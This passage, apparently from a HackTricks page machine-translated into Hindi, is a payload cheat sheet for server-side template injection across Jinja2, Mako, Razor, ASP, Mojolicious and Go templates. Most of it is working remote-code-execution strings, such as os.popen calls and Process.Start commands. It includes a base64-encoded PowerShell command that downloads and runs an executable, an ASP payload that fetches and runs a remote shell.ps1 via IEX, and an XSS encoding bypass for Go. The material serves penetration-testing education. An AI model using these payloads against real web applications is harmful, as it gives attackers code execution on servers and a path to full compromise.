  • {{settings}}

  • <div data-gb-custom-block data-tag="debug"></div>

{% debug %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - टेम्पलेट प्रारूप

{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}

RCE निर्भर नहीं है __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja का दुरुपयोग करने के बारे में अधिक जानकारी:

Jinja2 SSTI

अन्य पेलोड https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 में

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

अधिक जानकारी

Razor (.Net)

  • @(2+2) <= सफलता

  • @() <= सफलता

  • @("{{code}}") <= सफलता

  • @ <=सफलता

  • @{} <= त्रुटि!

  • @{ <= त्रुटि!

  • @(1+2)

  • @( //C#Code )

  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET System.Diagnostics.Process.Start विधि का उपयोग सर्वर पर किसी भी प्रक्रिया को शुरू करने के लिए किया जा सकता है और इस प्रकार एक वेबशेल बनाया जा सकता है। आप एक कमजोर वेबऐप उदाहरण https://github.com/cnotin/RazorVulnerableApp में पा सकते हैं।

अधिक जानकारी

ASP

  • <%= 7*7 %> = 49

  • <%= "foo" %> = foo

  • <%= foo %> = कुछ नहीं

  • <%= response.write(date()) %> = <Date>

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

अधिक जानकारी

Mojolicious (Perl)

यह पर्ल होने के बावजूद, यह रूबी में ERB की तरह टैग का उपयोग करता है।

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

<%= perl code %>
<% perl code %>

SSTI in GO

Go के टेम्पलेट इंजन में, इसके उपयोग की पुष्टि विशिष्ट पेलोड के साथ की जा सकती है:

  • {{ . }}: डेटा संरचना इनपुट को प्रकट करता है। उदाहरण के लिए, यदि एक ऑब्जेक्ट जिसमें Password विशेषता है, पास किया जाता है, तो {{ .Password }} इसे उजागर कर सकता है।

  • {{printf "%s" "ssti" }}: "ssti" स्ट्रिंग प्रदर्शित करने की अपेक्षा की जाती है।

  • {{html "ssti"}}, {{js "ssti"}}: ये पेलोड "ssti" को "html" या "js" जोड़े बिना लौटाना चाहिए। आगे के निर्देशों को Go दस्तावेज़ में यहां खोजा जा सकता है।

XSS Exploitation

text/template पैकेज के साथ, XSS को सीधे पेलोड डालकर सरलता से किया जा सकता है। इसके विपरीत, html/template पैकेज प्रतिक्रिया को एन्कोड करता है ताकि इसे रोका जा सके (जैसे, {{"<script>alert(1)</script>"}} का परिणाम &lt;script&gt;alert(1)&lt;/script&gt; होता है)। फिर भी, Go में टेम्पलेट परिभाषा और आह्वान इस एन्कोडिंग को बायपास कर सकते हैं: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

RCE Exploitation

RCE शोषण html/template और text/template के बीच काफी भिन्न है। text/template मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो html/template में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ html/template के लिए यहां और text/template के लिए यहां उपलब्ध है।

Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को आह्वान किया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक System विधि है जो कमांड निष्पादित करता है, तो इसे इस तरह से शोषित किया जा सकता है: {{ .System "ls" }}। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

अधिक जानकारी

अधिक शोषण

अधिक शोषण के लिए https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection की जांच करें। आप https://github.com/DiogoMRSilva/websitesVulnerableToSSTI में दिलचस्प टैग जानकारी भी पा सकते हैं।

BlackHat PDF

2MB
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
pdf

संबंधित सहायता

यदि आपको लगता है कि यह उपयोगी हो सकता है, पढ़ें:

उपकरण

ब्रूट-फोर्स डिटेक्शन लिस्ट

अभ्यास और संदर्भ

​​​RootedCON स्पेन में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Last updated